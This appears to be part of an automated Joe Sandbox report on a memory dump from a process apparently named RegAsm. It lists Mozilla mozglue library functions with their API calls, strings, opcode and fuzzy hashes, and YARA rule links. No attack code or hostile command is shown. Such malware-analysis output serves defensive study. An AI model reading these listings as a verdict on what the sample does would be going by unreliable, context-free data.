Opcode Fuzzy Hash: 30b4c8d3fd668e506913d3aa1328c9dc6782377afa7848099f155f992cee42fd
Instruction Fuzzy Hash: 38E08CE2A0202037F6142256AC8ADBB761CDBC6139F08013AFD0D86302E94BBD1A51F7

Function 6C6D05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34eba450723d388768bab4ef1493ac81b088e0fa3dec7fd2711af696a4434721
Instruction ID: d78adcdda1ea42caa084005b4d53e5aa0827a2263a227ae6c642a1a1a0600cb0
Opcode Fuzzy Hash: 34eba450723d388768bab4ef1493ac81b088e0fa3dec7fd2711af696a4434721
Instruction Fuzzy Hash: 6EA14A70A01645CFDB24CF29C994A9AFBF1BF49304F45866ED44A9BB01E730B985CF94

Function 6C7071A0 Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 212COMMON

Download Yara Rule

APIs

Part of subcall function 6C706060: moz_xmalloc.MOZGLUE(00000024,3DC044E3,00000000,?,00000000,?,?,6C705FCB,6C7079A3), ref: 6C706078

free.MOZGLUE(-00000001), ref: 6C7072F6
free.MOZGLUE(?), ref: 6C707311

Strings

333s, xrefs: 6C70731B
333s, xrefs: 6C707226
Spliced unique strings, xrefs: 6C707340
Copied unique strings, xrefs: 6C707320

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: free$moz_xmalloc
String ID: 333s$333s$Copied unique strings$Spliced unique strings
API String ID: 3009372454-760240034
Opcode ID: ab35fe6a8d9ac341ecf609ff1e8aa1a14d016b5179672e37db774346f8563ec6
Instruction ID: 34ce3cb3b88d20054726caf1fa7322667786de72130e1735604b8c6a0a6423a6
Opcode Fuzzy Hash: ab35fe6a8d9ac341ecf609ff1e8aa1a14d016b5179672e37db774346f8563ec6
Instruction Fuzzy Hash: E27192B1F002198FDB18CF69C99469DB7F2AF84314F25C12DD81AAB751DB31A946CBC0

Function 6C7214A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7214C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C7214E2
GetCurrentThreadId.KERNEL32 ref: 6C721546
InitializeConditionVariable.KERNEL32(?), ref: 6C7215BA
free.MOZGLUE(?), ref: 6C7216B4

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 382286ed8b623c1fd338d04b643c15e052f03742c9b533e16c321ee2b6122047
Instruction ID: 9d5b589af648430d529ad2be0811ca0d67a2a89831fd2e71107e1869fbb74a75
Opcode Fuzzy Hash: 382286ed8b623c1fd338d04b643c15e052f03742c9b533e16c321ee2b6122047
Instruction Fuzzy Hash: 29611072A007048BDB21DF25C984BDEB7B5BF8A308F44852DED8A57701EB35E949CB91

Function 6C71C160 Relevance: 9.2, APIs: 6, Instructions: 174COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C71C1F1
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C71C293
fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C71C29E

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: fgetc$memcpy
String ID:
API String ID: 1522623862-0
Opcode ID: 50b7eeb02317adf080bc53babb2f96b7308342cc59d78f87de151153d957ad25
Instruction ID: e571274a61cee35d01144719e99c339cd4e60cf6f80065be0cb853465798d60f
Opcode Fuzzy Hash: 50b7eeb02317adf080bc53babb2f96b7308342cc59d78f87de151153d957ad25
Instruction Fuzzy Hash: 6461CF71A04214CFCB14DFE8D98459EBBB5FF49325F19453AE802A7A51C731A944CFA1

Function 6C719F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C719FDB
free.MOZGLUE(?,?), ref: 6C719FF0
free.MOZGLUE(?,?), ref: 6C71A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C71A0BE
free.MOZGLUE(?,?), ref: 6C71A0D5
free.MOZGLUE(?,?), ref: 6C71A0EB

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 1e55570d646b260a8df4b7d1b196c00299681113459486ee97a984e795877988
Instruction ID: 7c7d297e32c497ed3262a823b76892885e4050b548295ee6306bfeded365d1b7
Opcode Fuzzy Hash: 1e55570d646b260a8df4b7d1b196c00299681113459486ee97a984e795877988
Instruction Fuzzy Hash: F761A07550D7019FC711CF18C58056AB3F5FF89328F54866AE8999BB02E731E98ACBC1

Function 6C71DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C71DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C71D38A,?), ref: 6C71DC6F
free.MOZGLUE(?,?,?,?,?,6C71D38A,?), ref: 6C71DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C71D38A,?), ref: 6C71DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C71D38A,?), ref: 6C71DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C71D38A,?), ref: 6C71DD4A

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: afb1747803c81c93f1f7a0227fba11e772c149912b6cee3de528d0bdf0ae119f
Instruction ID: 85cb001ab6afa9c35dc7f189c595e09d045efcbae93d34f538f288befe264d39
Opcode Fuzzy Hash: afb1747803c81c93f1f7a0227fba11e772c149912b6cee3de528d0bdf0ae119f
Instruction Fuzzy Hash: EB4198B5A04605CFCB00CFA9C98499ABBF6FF89318B19446AD945ABB10DB31FC00CF94

Function 6C6C39A0 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C74E744,ewrl,00000000,ewrl,?,6C6E6112), ref: 6C6C39AF
LeaveCriticalSection.KERNEL32(6C74E744,?,6C6E6112), ref: 6C6C3A34
EnterCriticalSection.KERNEL32(6C74E784,6C6E6112), ref: 6C6C3A4B
LeaveCriticalSection.KERNEL32(6C74E784), ref: 6C6C3A5F

Strings

ewrl, xrefs: 6C6C39A3, 6C6C39A5
\tl, xrefs: 6C6C3A02

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: \tl$ewrl
API String ID: 3168844106-1392482807
Opcode ID: 426341bc805f3df2143781614fbf5529f53694c61a5508c9f43819bfd6b3bda8
Instruction ID: 0de67b7fe515828907f031e3611cac3b128ef1ed32ad302197a071d164b2c5a6
Opcode Fuzzy Hash: 426341bc805f3df2143781614fbf5529f53694c61a5508c9f43819bfd6b3bda8
Instruction Fuzzy Hash: 1D213532301B058FC725EF7AC445A6AB3B5EB86738B24863AC46587F40E730A805C79A

Function 6C71C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C71C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C71C842

Part of subcall function 6C71CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C73B5EB,00000000), ref: 6C71CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C71C863
std::_Facet_Register.LIBCPMT ref: 6C71C875

Part of subcall function 6C6FB13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C73B636,?), ref: 6C6FB143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C71C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C71C8BC

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 7c90fa446d0618b9c74b821e19b85933382c54fb927dc67f4f67c127af7ae26b
Instruction ID: 5b8372451bae9ca6d9e1e4e5f4d95a2d097305372c71c57d29e08368d1326f01
Opcode Fuzzy Hash: 7c90fa446d0618b9c74b821e19b85933382c54fb927dc67f4f67c127af7ae26b
Instruction Fuzzy Hash: B4118171B002099BCB00EFA5C9C98AEBBB5AF89359B04417AE61697741EB30AD05CB91

Function 6C70E100 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6D4A68), ref: 6C70945E
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C709470
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C709482
Part of subcall function 6C709420: __Init_thread_footer.LIBCMT ref: 6C70949F

GetCurrentThreadId.KERNEL32 ref: 6C70E12F
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,6C70E084,00000000), ref: 6C70E137

Part of subcall function 6C7094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7094EE
Part of subcall function 6C7094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C709508

?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE ref: 6C70E196
?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE(?,?,?,?,?,?,?,?), ref: 6C70E1E9

Part of subcall function 6C7099A0: GetCurrentThreadId.KERNEL32 ref: 6C7099C1
Part of subcall function 6C7099A0: AcquireSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C7099CE
Part of subcall function 6C7099A0: ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C7099F8

Strings

[I %d/%d] WriteProfileToJSONWriter, xrefs: 6C70E13F

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: getenv$?profiler_stream_json_for_this_process@baseprofiler@mozilla@@CurrentExclusiveLockSpliceableThreadWriter@12@$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] WriteProfileToJSONWriter
API String ID: 2491745604-3904374701
Opcode ID: 73fd9d88b56f08a83830bd7a9998c36d7b76220df8db752916e1a34354465045
Instruction ID: 7cf1a13b2a8ee28fa9e574f8fa439a124bc9879e4776e97dd55a881c600ce8ca
Opcode Fuzzy Hash: 73fd9d88b56f08a83830bd7a9998c36d7b76220df8db752916e1a34354465045
Instruction Fuzzy Hash: 3A31E5B17047149BC7009F6886442AAF7E5AFD6308F14852EE8994BB42EB71D909C7D6

Function 6C6FF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C6FF480

Part of subcall function 6C6CF100: LoadLibraryW.KERNEL32(shell32,?,6C73D020), ref: 6C6CF122
Part of subcall function 6C6CF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C6CF132

CloseHandle.KERNEL32(00000000), ref: 6C6FF555

Part of subcall function 6C6D14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C6D1248,6C6D1248,?), ref: 6C6D14C9
Part of subcall function 6C6D14B0: memcpy.VCRUNTIME140(?,6C6D1248,00000000,?,6C6D1248,?), ref: 6C6D14EF

Part of subcall function 6C6CEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C6CEEE3

CreateFileW.KERNEL32 ref: 6C6FF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C6FF523

Strings

\oleacc.dll, xrefs: 6C6FF4CB

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: ec2f19bad7fb941f343cc4cbfcb39d980c98f644c32fe2de2602d1a3ac46981b
Instruction ID: da559642217f06fdd298b6f3b2a6532fdb408c61e95cf8239b53726f0eba1ceb
Opcode Fuzzy Hash: ec2f19bad7fb941f343cc4cbfcb39d980c98f644c32fe2de2602d1a3ac46981b
Instruction Fuzzy Hash: 8741D4706087109FE721DF68C984B9BB7F5AF95318F104A2DF5A083650EB70E94ACB97

Function 6C70E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6D4A68), ref: 6C70945E
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C709470
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C709482
Part of subcall function 6C709420: __Init_thread_footer.LIBCMT ref: 6C70949F

GetCurrentThreadId.KERNEL32 ref: 6C70E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C70E04F

Part of subcall function 6C7094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7094EE
Part of subcall function 6C7094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C709508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C70E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C70E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C70E057

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 3700affd4717fcbc57a8e565cdfbe58f4b4f59e77eb0d8de70eac31d03206a4b
Instruction ID: 5b192fe2dc159df0560be0ad694e3a734b4d75469a191dc78ba2d8b35ab8c692
Opcode Fuzzy Hash: 3700affd4717fcbc57a8e565cdfbe58f4b4f59e77eb0d8de70eac31d03206a4b
Instruction Fuzzy Hash: A721BEB4B011088FDF00EF64D95CAAEB7F5AF8520CF644029E95A97740DB31A909C7E1

Function 6C7274A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C727526
__Init_thread_footer.LIBCMT ref: 6C727566
__Init_thread_footer.LIBCMT ref: 6C727597

Strings

kernel32.dll, xrefs: 6C727557
UnmapViewOfFile2, xrefs: 6C727552

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: b259ba837c010338f8a8f8fdbc1a353282b36389edaee138d9e4d202ab228981
Instruction ID: 1f16e0eff7dde2bd7f93b7e6424f51e4d1b3587168f203c94490749e5d9f2249
Opcode Fuzzy Hash: b259ba837c010338f8a8f8fdbc1a353282b36389edaee138d9e4d202ab228981
Instruction Fuzzy Hash: 7321F531700501A7DB16AFF9CF18E5A7376EB87329F45853AD81547B40D73CA902C695

Function 6C727930 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C6DBF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C727A3F), ref: 6C6DBF11
Part of subcall function 6C6DBF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C727A3F), ref: 6C6DBF5D
Part of subcall function 6C6DBF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C727A3F), ref: 6C6DBF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000012,00000000), ref: 6C727968
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_J@Z.MSVCP140(6C72A264,6C72A264), ref: 6C72799A

Part of subcall function 6C6D9830: free.MOZGLUE(?,?,?,6C727ABE), ref: 6C6D985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6C7279E0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6C7279E8

Strings

sl, xrefs: 6C7279D0

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID: sl
API String ID: 3421697164-3563831378
Opcode ID: 8e7b5b064591e4e500259ccea1b0b5161dfd1267a31841e2c18f518812f865cb
Instruction ID: 730c95b5cc0c7a7b495989e8ea747e4d9f30e4f14d805defe989d770ea79446b
Opcode Fuzzy Hash: 8e7b5b064591e4e500259ccea1b0b5161dfd1267a31841e2c18f518812f865cb
Instruction Fuzzy Hash: 21215C356043149FCB04DF18D899A9EBBF5FF89314F45886DE84A87361DB30A909CB96

Function 6C72A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C74F770,-00000001,?,6C73E330,?,6C6EBDF7), ref: 6C72A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C6EBDF7), ref: 6C72A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C6EBDF7), ref: 6C72A7E4
LeaveCriticalSection.KERNEL32(6C74F770), ref: 6C72A80A

Strings

accelerator.dll, xrefs: 6C72A7BF

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 8f5bdc27c267dc476b706d160350867a95430f6c98a102d1c7bb871ad7fea63d
Instruction ID: fffbf2ab167a4adc183a2fbd1945ac4eec07745c2ec48efaa1e864562691d8db
Opcode Fuzzy Hash: 8f5bdc27c267dc476b706d160350867a95430f6c98a102d1c7bb871ad7fea63d
Instruction Fuzzy Hash: 3301A2716003149FEB04DFA9D984C157BF8FB8A329745C07BE9098B701DB74AC00CBA1

Function 6C6CF0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C6CEE51,?), ref: 6C6CF0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C6CF0C2

Strings

ole32, xrefs: 6C6CF0AD
Could not find CoTaskMemFree, xrefs: 6C6CF0E3
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C6CF0DC

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 157c6106d2fe7d3a91ee5414906469a2b2130b1e6be02c9ea1e5b9efaac7d120
